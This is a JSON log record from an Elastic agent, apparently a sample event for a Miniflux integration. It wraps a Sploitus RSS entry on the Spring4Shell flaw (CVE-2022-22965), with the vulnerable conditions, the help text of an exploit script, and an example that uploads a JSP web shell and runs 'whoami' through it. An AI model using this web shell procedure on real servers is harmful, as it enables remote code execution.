{    "@timestamp": "2025-05-13T01:30:56.695Z",    "agent": {        "ephemeral_id": "3221ee48-0fe2-46e1-a34b-07909a00265e",        "id": "ba6fa1eb-0b15-4523-83b2-12b2b68add1c",        "name": "elastic-agent-34183",        "type": "filebeat",        "version": "8.18.0"    },    "data_stream": {        "dataset": "miniflux.feed_entry",        "namespace": "27883",        "type": "logs"    },    "ecs": {        "version": "8.17.0"    },    "elastic_agent": {        "id": "ba6fa1eb-0b15-4523-83b2-12b2b68add1c",        "snapshot": false,        "version": "8.18.0"    },    "event": {        "agent_id_status": "verified",        "category": [            "web"        ],        "dataset": "miniflux.feed_entry",        "ingested": "2025-05-13T01:30:59Z",        "kind": "enrichment",        "type": [            "info"        ]    },    "input": {        "type": "cel"    },    "miniflux": {        "changed_at": "2023-09-02T20:30:13.118Z",        "content": "<p></p>\n\n<h1>Exploit for Code Injection in Vmware Spring Framework CVE-2022-22965</h1>\n<p>2023-09-02 | CVSS 7.5 </p>\n\n\n\n\n\nCopy\nDownload\nSource\n<a href=\"#share-url\">Share</a>\n\n<pre><code>## https://sploitus.com/exploit?id=5C9561BE-D9BB-58D0-8E51-09DDD257BC72\n# Spring4Shell: CVE-2022-22965 RCE\n\n## Java Spring framework RCE vulnerability\nThese vulnerabilities affects a component &#34;Spring Core&#34; —  the heart of the framework \n\n**Current conditions for vulnerability:-**\n\n- JDK 9+\n- A vulnerable version of the Spring Framework (&lt;5.2 | 5.2.0-19 | 5.3.0-17)\n- Apache Tomcat as a server for the Spring application, packaged as a WAR\n- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework\n\n## The exploit\n\n```python\nuser@attacker:~$ ./exploit.py --help\nusage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url\n\nSpring4Shell RCE Proof of Concept\n\npositional arguments:\n  url                   Target URL\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -f FILENAME, --filename FILENAME\n                        Name of the file to upload (Default tomcatwar.jsp)\n  -p PASSWORD, --password PASSWORD\n                        Password to protect the shell with (Default: thm)\n  -d DIRECTORY, --directory DIRECTORY\n                        The upload path for the file (Default: ROOT)\n```\n\n```python\nuser@attacker:~$ ./exploit.py http://MACHINE_IP/\nShell Uploaded Successfully!\n\n\n# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&amp;cmd=whoami\n```</code> </pre>\n\n",        "created_at": "2023-09-02T20:17:02.689Z",        "feed": {            "allow_self_signed_certificates": false,            "category": {                "hide_globally": false,                "id": 25000,                "title": "2-Production",                "user_id": 4426            },            "checked_at": "2025-05-02T12:25:58.524Z",            "crawler": true,            "disable_http2": false,            "disabled": false,            "feed_url": "https://sploitus.com/rss",            "fetch_via_proxy": false,            "hide_globally": false,            "icon": {                "external_icon_id": "dadd95d716e12dbdc58fabdd0f38f48e8d7eab88",                "feed_id": 355593,                "icon_id": 60476            },            "id": 355593,            "ignore_http_cache": false,            "next_check_at": "0001-01-01T00:00:00.000Z",            "no_media_player": false,            "ntfy_enabled": false,            "ntfy_priority": 0,            "parsing_error_count": 0,            "pushover_enabled": false,            "pushover_priority": 0,            "site_url": "https://sploitus.com/rss",            "title": "Sploitus.com Exploits RSS Feed",            "user_id": 4426        },        "feed_id": 355593,        "hash": "fab2dc0ad7ba85e40595d197da245cb2602ce93c6a2c2deca340ce909c9a4a13",        "id": 83721716,        "published_at": "2023-09-02T10:41:05.000Z",        "reading_time": 1,        "starred": true,        "status": "read",        "title": "Exploit for Code Injection in Vmware Spring Framework exploit",        "url": "https://sploitus.com/exploit?id=5C9561BE-D9BB-58D0-8E51-09DDD257BC72&utm_source=rss&utm_medium=rss",        "user_id": 4426    },    "related": {        "hash": [            "fab2dc0ad7ba85e40595d197da245cb2602ce93c6a2c2deca340ce909c9a4a13"        ]    },    "tags": [        "forwarded",        "miniflux-feed_entry"    ],    "url": {        "domain": "sploitus.com",        "full": "https://sploitus.com/exploit?id=5C9561BE-D9BB-58D0-8E51-09DDD257BC72&utm_source=rss&utm_medium=rss",        "original": "https://sploitus.com/exploit?id=5C9561BE-D9BB-58D0-8E51-09DDD257BC72&utm_source=rss&utm_medium=rss",        "path": "/exploit",        "query": "id=5C9561BE-D9BB-58D0-8E51-09DDD257BC72&utm_source=rss&utm_medium=rss",        "scheme": "https"    }}